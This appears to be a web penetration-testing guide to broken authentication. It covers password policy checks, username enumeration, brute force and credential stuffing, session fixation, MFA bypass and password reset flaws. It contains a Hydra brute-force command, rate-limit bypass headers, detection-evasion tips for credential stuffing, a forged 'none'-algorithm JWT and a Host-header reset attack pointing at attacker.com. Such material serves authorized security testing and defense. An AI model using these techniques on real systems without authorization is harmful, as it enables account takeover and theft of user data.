Broken Authentication Testing Purpose Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management. Prerequisites Required Knowledge HTTP protocol and session mechanisms Authentication types (SFA, 2FA, MFA) Cookie and token handling Common authentication frameworks Required Tools Burp Suite Professional or Community Hydra or similar brute-force tools Custom wordlists for credential testing Browser developer tools Required Access Target application URL Test account credentials Written authorization for testing Outputs and Deliverables Authentication Assessment Report - Document all identified vulnerabilities Credential Testing Results - Brute-force and dictionary attack outcomes Session Security Analysis - Token randomness and timeout evaluation Remediation Recommendations - Security hardening guidance Core Workflow Phase 1: Authentication Mechanism Analysis Understand the application's authentication architecture:

Identify authentication type

• Password-based (forms, basic auth, digest)
• Token-based (JWT, OAuth, API keys)
• Certificate-based (mutual TLS)
• Multi-factor (SMS, TOTP, hardware tokens)

Map authentication endpoints

/login, /signin, /authenticate /register, /signup /forgot-password, /reset-password /logout, /signout /api/auth/, /oauth/ Capture and analyze authentication requests: POST / login HTTP/1.1 Host : target.com Content-Type : application/x-www-form-urlencoded username=test&password=test123 Phase 2: Password Policy Testing Evaluate password requirements and enforcement:

Test minimum length (a, ab, abcdefgh)

Test complexity (password, password1, Password1!)

Test common weak passwords (123456, password, qwerty, admin)

Test username as password (admin/admin, test/test)

Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password. Phase 3: Credential Enumeration Test for username enumeration vulnerabilities:

Compare responses for valid vs invalid usernames

Invalid: "Invalid username" vs Valid: "Invalid password"

Check timing differences, response codes, registration messages

Password reset "Email sent if account exists" (secure) "No account with that email" (leaks info) API responses {"error": "user_not_found"}

Phase 4: Brute Force Testing

Test account lockout and rate limiting: ```bash

Using Hydra for form-based auth

hydra -l admin -P /usr/share/wordlists/rockyou.txt \ target.com http-post-form \ "/login:username=^USER^&password=^PASS^:Invalid credentials"

Using Burp Intruder

1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes Check for protections:

Account lockout

• After how many attempts?
• Duration of lockout?
• Lockout notification?

Rate limiting

• Requests per minute limit?
• IP-based or account-based?
• Bypass via headers ( X-Forwarded-For ) ?

CAPTCHA

• After failed attempts?
• Easily bypassable? Phase 5: Credential Stuffing Test with known breached credentials:

Credential stuffing differs from brute force

Uses known email:password pairs from breaches

Using Burp Intruder with Pitchfork attack

1 . Set username and password as positions 2 . Load email list as payload 1 3 . Load password list as payload 2 ( matched pairs ) 4 . Analyze for successful logins

Detection evasion

• Slow request rate
• Rotate source IPs
• Randomize user agents
• Add delays between attempts Phase 6: Session Management Testing Analyze session token security:

Capture session cookie

Cookie: SESSIONID = abc123def456

Test token characteristics

1 . Entropy - Is it random enough? 2 . Length - Sufficient length ( 128 + bits ) ? 3 . Predictability - Sequential patterns? 4 . Secure flags - HttpOnly, Secure, SameSite? Session token analysis:

!/usr/bin/env python3

import requests import hashlib

Collect multiple session tokens

tokens

[ ] for i in range ( 100 ) : response = requests . get ( "https://target.com/login" ) token = response . cookies . get ( "SESSIONID" ) tokens . append ( token )

Analyze for patterns

Check for sequential increments

Calculate entropy

Look for timestamp components

Phase 7: Session Fixation Testing Test if session is regenerated after authentication:

Step 1: Get session before login

GET /login HTTP/1.1 Response: Set-Cookie: SESSIONID = abc123

Step 2: Login with same session

POST /login HTTP/1.1 Cookie: SESSIONID = abc123 username = valid & password = valid

Step 3: Check if session changed

VULNERABLE if SESSIONID remains abc123

SECURE if new session assigned after login

Attack scenario:

Attacker workflow:

1 . Attacker visits site, gets session: SESSIONID = attacker_session 2 . Attacker sends link to victim with fixed session: https://target.com/login?SESSIONID = attacker_session 3 . Victim logs in with attacker's session 4 . Attacker now has authenticated session Phase 8: Session Timeout Testing Verify session expiration policies:

Test idle timeout

1 . Login and note session cookie 2 . Wait without activity ( 15 , 30 , 60 minutes ) 3 . Attempt to use session 4 . Check if session is still valid

Test absolute timeout

1 . Login and continuously use session 2 . Check if forced logout after set period ( 8 hours, 24 hours )

Test logout functionality

1 . Login and note session 2 . Click logout 3 . Attempt to reuse old session cookie 4 . Session should be invalidated server-side Phase 9: Multi-Factor Authentication Testing Assess MFA implementation security:

OTP brute force

- 4 -digit OTP = 10,000 combinations - 6 -digit OTP = 1,000 ,000 combinations - Test rate limiting on OTP endpoint

OTP bypass techniques

• Skip MFA step by direct URL access
• Modify response to indicate MFA passed
• Null/empty OTP submission
• Previous valid OTP reuse

API Version Downgrade Attack (crAPI example)

If /api/v3/check-otp has rate limiting, try older versions:

POST /api/v2/check-otp { "otp" : "1234" }

Older API versions may lack security controls

Using Burp for OTP testing

1 . Capture OTP verification request 2 . Send to Intruder 3 . Set OTP field as payload position 4 . Use numbers payload ( 0000-9999 ) 5 . Check for successful bypass Test MFA enrollment:

Forced enrollment

• Can MFA be skipped during setup?
• Can backup codes be accessed without verification?

Recovery process

• Can MFA be disabled via email alone?
• Social engineering potential? Phase 10: Password Reset Testing Analyze password reset security:

Token security

1 . Request password reset 2 . Capture reset link 3 . Analyze token: - Length and randomness - Expiration time - Single-use enforcement - Account binding

Token manipulation

https://target.com/reset?token

abc123 & user = victim

Try changing user parameter while using valid token

Host header injection

POST /forgot-password HTTP/1.1 Host: attacker.com email = victim@email.com

Reset email may contain attacker's domain

Quick Reference Common Vulnerability Types Vulnerability Risk Test Method Weak passwords High Policy testing, dictionary attack No lockout High Brute force testing Username enumeration Medium Differential response analysis Session fixation High Pre/post-login session comparison Weak session tokens High Entropy analysis No session timeout Medium Long-duration session testing Insecure password reset High Token analysis, workflow bypass MFA bypass Critical Direct access, response manipulation Credential Testing Payloads

Default credentials

admin:admin admin:password admin:123456 root:root test:test user:user

Common passwords

123456 password 12345678 qwerty abc123 password1 admin123

Breached credential databases

• Have I Been Pwned dataset
• SecLists passwords
• Custom targeted lists Session Cookie Flags Flag Purpose Vulnerability if Missing HttpOnly Prevent JS access XSS can steal session Secure HTTPS only Sent over HTTP SameSite CSRF protection Cross-site requests allowed Path URL scope Broader exposure Domain Domain scope Subdomain access Expires Lifetime Persistent sessions Rate Limiting Bypass Headers X-Forwarded-For : 127.0.0.1 X-Real-IP : 127.0.0.1 X-Originating-IP : 127.0.0.1 X-Client-IP : 127.0.0.1 X-Remote-IP : 127.0.0.1 True-Client-IP : 127.0.0.1 Constraints and Limitations Legal Requirements Only test with explicit written authorization Avoid testing with real breached credentials Do not access actual user accounts Document all testing activities Technical Limitations CAPTCHA may prevent automated testing Rate limiting affects brute force timing MFA significantly increases attack difficulty Some vulnerabilities require victim interaction Scope Considerations Test accounts may behave differently than production Some features may be disabled in test environments Third-party authentication may be out of scope Production testing requires extra caution Examples Example 1: Account Lockout Bypass Scenario: Test if account lockout can be bypassed

Step 1: Identify lockout threshold

Try 5 wrong passwords for admin account

Result: "Account locked for 30 minutes"

Step 2: Test bypass via IP rotation

Use X-Forwarded-For header

POST /login HTTP/1.1 X-Forwarded-For: 192.168 .1.1 username = admin & password = attempt1

Increment IP for each attempt

X-Forwarded-For: 192.168 .1.2

Continue until successful or confirmed blocked

Step 3: Test bypass via case manipulation

username

Admin ( vs admin ) username = ADMIN

Some systems treat these as different accounts

Example 2: JWT Token Attack Scenario: Exploit weak JWT implementation

Step 1: Capture JWT token

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature

Step 2: Decode and analyze

Header:

Payload:

Step 3: Try "none" algorithm attack

Change header to:

Remove signature

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.

Step 4: Submit modified token

Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ. Example 3: Password Reset Token Exploitation Scenario: Test password reset functionality

Step 1: Request reset for test account

POST /forgot-password email = test@example.com

Step 2: Capture reset link

https://target.com/reset?token

a1b2c3d4e5f6

Step 3: Test token properties

Reuse: Try using same token twice

Expiration: Wait 24+ hours and retry

Modification: Change characters in token

Step 4: Test for user parameter manipulation

https://target.com/reset?token

a1b2c3d4e5f6 & email = admin@example.com

Check if admin's password can be reset with test user's token

Troubleshooting Issue Solutions Brute force too slow Identify rate limit scope; IP rotation; add delays; use targeted wordlists Session analysis inconclusive Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts MFA cannot be bypassed Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment Account lockout prevents testing Request multiple test accounts; test threshold first; use slower timing